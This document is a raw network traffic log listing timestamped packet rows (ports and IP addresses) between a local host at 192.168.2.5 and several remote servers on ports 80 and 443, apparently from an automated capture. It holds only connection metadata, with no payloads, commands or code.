Oct 31, 2024 03:04:36.215301037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.215301037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.216104031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216115952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216129065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216137886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216147900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216154099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.216159105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216169119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216170073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.216180086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.216195107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.216250896 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.217041016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217052937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217062950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217075109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217084885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217094898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217101097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.217108011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217133999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.217423916 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.217931032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217943907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217953920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217966080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.217991114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.218092918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.218827963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.218839884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.218849897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.218862057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.218873978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.218889952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.218915939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.218915939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.219743013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219753981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219762087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219773054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219784021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219794035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219798088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.219805002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219814062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.219819069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.219819069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.219867945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.220663071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220674992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220685005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220696926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220706940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220719099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.220719099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.220752954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.220782995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.221412897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221425056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221436024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221447945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221460104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221471071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221477032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221486092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.221487999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.221513033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.221549988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.222265959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222276926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222287893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222299099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222310066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222316980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222322941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222328901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.222331047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.222371101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.222371101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.223141909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223160028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223167896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223179102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223189116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223198891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223208904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223216057 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.223218918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223236084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.223270893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.223967075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223978996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.223988056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224013090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224024057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224025965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224034071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224045038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224045992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224071980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224184036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224891901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224904060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224932909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224945068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224956036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224957943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224970102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224976063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.224982977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.224997044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.225080013 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.225755930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225784063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225795984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225805044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225815058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225826025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225837946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.225850105 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.225878954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.225878954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.226645947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226658106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226666927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226677895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226690054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226701021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226703882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.226711035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226723909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226727009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.226727009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.226732969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.226758003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.226797104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.227514982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227526903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227538109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227550030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227560043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227571964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227582932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.227587938 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.227629900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.227629900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.228310108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228321075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228329897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228341103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228353024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228363037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228374004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228374004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.228384018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228394985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228399992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.228405952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.228430986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.228430986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.228457928 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.229121923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229222059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229233980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229243040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229254007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229264975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229275942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229285955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229290962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.229299068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229309082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.229322910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.229346037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.229346037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.230107069 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230118990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230129004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230142117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230151892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230163097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230173111 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.230174065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230185986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230197906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.230221033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.230308056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.230982065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.230994940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231004000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231014013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231024981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231034040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231045008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231048107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231057882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231067896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231071949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231116056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231116056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231750965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231761932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231770992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231781960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231791973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231805086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231806993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231816053 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231825113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231827021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231837988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231848955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231849909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.231857061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.231885910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.232135057 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.232620955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.232634068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.232642889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.232677937 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.232692003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.232718945 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.233527899 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.233541012 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.238451004 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.238476038 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.238600969 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.240479946 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.240493059 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.292377949 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.293406963 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.293406963 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.293417931 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.293425083 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.312958002 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.313402891 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.313416958 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.313894987 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.313899040 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.330730915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330782890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330791950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330806971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.330929995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330941916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330952883 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330960035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.330964088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.330980062 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.331156015 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.359958887 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.360035896 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.360153913 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.362483978 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.362507105 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.362607002 CET	50389	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.362622023 CET	443	50389	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.366609097 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.366671085 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.368597984 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.369143009 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.369179010 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.376646996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.376669884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.376708031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.376734018 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.376843929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.377249956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.397856951 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.398175955 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.398197889 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.398535967 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.399049997 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.399111032 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.399302959 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.399303913 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.399346113 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.404097080 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.413686037 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.413703918 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.414917946 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.414984941 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.415541887 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.415608883 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.415767908 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.415776014 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.415855885 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.415889978 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.424252987 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.424334049 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.424406052 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.425549984 CET	50392	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.425563097 CET	443	50392	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.431080103 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.431088924 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.431157112 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.431925058 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.431938887 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.441616058 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.441840887 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.441973925 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.442171097 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.442184925 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.442203999 CET	50393	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.442208052 CET	443	50393	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.446468115 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.446499109 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.446578979 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.446953058 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.446979046 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.451669931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.456446886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.497510910 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:36.497534037 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:36.497582912 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:36.497771025 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:36.497783899 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:36.548535109 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.548563004 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.549024105 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.549150944 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.549165010 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.585082054 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.585752964 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.585798025 CET	443	50391	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.585952044 CET	50391	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.596213102 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.596685886 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.596724033 CET	443	50390	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:36.596805096 CET	50390	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:36.652255058 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.652350903 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.655050993 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.655059099 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.655304909 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.668816090 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.715334892 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.735970020 CET	80	49823	185.215.113.206	192.168.2.5
